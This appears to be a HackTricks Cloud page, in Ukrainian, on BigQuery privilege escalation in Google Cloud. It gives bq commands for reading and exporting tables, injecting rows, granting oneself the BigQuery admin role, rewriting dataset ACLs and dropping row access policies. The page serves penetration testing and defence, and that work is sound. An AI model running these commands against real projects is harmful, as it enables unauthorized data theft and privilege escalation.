GCP - BigQuery Privesc
Reading time: 4 minutes
tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
BigQuery
Для отримання додаткової інформації про BigQuery перегляньте:
Читання таблиці
Читання інформації, що зберігається в таблиці BigQuery, може дозволити знайти sensitive information. Для доступу до інформації потрібні дозволи bigquery.tables.get, bigquery.jobs.create та bigquery.tables.getData:
bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'
Експорт даних
Це ще один спосіб доступу до даних. Експортуйте їх у хмарне сховище і завантажте файли з інформацією.
Для виконання цієї дії потрібні наступні дозволи: bigquery.tables.export, bigquery.jobs.create та storage.objects.create.
bq extract <dataset>.<table> "gs://<bucket>/table*.csv"
Вставка даних
Можливо, що ввести певні довірені дані в таблицю Bigquery, щоб зловживати вразливістю в іншому місці. Це можна легко зробити з правами bigquery.tables.get, bigquery.tables.updateData та bigquery.jobs.create:
# Via query
bq query --nouse_legacy_sql 'INSERT INTO `<proj>.<dataset>.<table-name>` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'
# Via insert param
bq insert dataset.table /tmp/mydata.json
bigquery.datasets.setIamPolicy
Зловмисник може зловживати цим правом, щоб надати собі додаткові дозволи на набір даних BigQuery:
# For this you also need bigquery.tables.getIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>
# use the set-iam-policy if you don't have bigquery.tables.getIamPolicy
bigquery.datasets.update, (bigquery.datasets.get)
Ця дозволяє оновити ваш доступ до набору даних BigQuery, змінюючи ACL, які вказують, хто може отримати доступ до нього:
# Download current permissions, reqires bigquery.datasets.get
bq show --format=prettyjson <proj>:<dataset> > acl.json
## Give permissions to the desired user
bq update --source acl.json <proj>:<dataset>
## Read it with
bq head $PROJECT_ID:<dataset>.<table>
bigquery.tables.setIamPolicy
Зловмисник може зловживати цим правом, щоб надати собі додаткові дозволи на таблицю BigQuery:
# For this you also need bigquery.tables.setIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>.<table>
# use the set-iam-policy if you don't have bigquery.tables.setIamPolicy
bigquery.rowAccessPolicies.update, bigquery.rowAccessPolicies.setIamPolicy, bigquery.tables.getData, bigquery.jobs.create
Згідно з документацією, з вказаними дозволами можливо оновити політику рядка.
Однак, використовуючи cli bq вам потрібно ще дещо: bigquery.rowAccessPolicies.create, bigquery.tables.get.
bq query --nouse_legacy_sql 'CREATE OR REPLACE ROW ACCESS POLICY <filter_id> ON `<proj>.<dataset-name>.<table-name>` GRANT TO ("<user:user@email.xyz>") FILTER USING (term = "Cfba");' # A example filter was used
Можливо знайти ID фільтра у виході перерахунку політик рядків. Приклад:
bq ls --row_access_policies <proj>:<dataset>.<table>
Id Filter Predicate Grantees Creation Time Last Modified Time
------------- ------------------ ----------------------------- ----------------- --------------------
apac_filter term = "Cfba" user:asd@hacktricks.xyz 21 Jan 23:32:09 21 Jan 23:32:09
Якщо у вас є bigquery.rowAccessPolicies.delete замість bigquery.rowAccessPolicies.update, ви також можете просто видалити політику:
# Remove one
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICY <policy_id> ON `<proj>.<dataset-name>.<table-name>`;'
# Remove all (if it's the last row policy you need to use this
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICIES ON `<proj>.<dataset-name>.<table-name>`;'
caution
Іншим потенційним варіантом обходу політик доступу до рядків може бути просто зміна значення обмежених даних. Якщо ви можете бачити лише тоді, коли term дорівнює Cfba, просто змініть всі записи таблиці, щоб мати term = "Cfba". Однак це заважає bigquery.
tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
HackTricks Cloud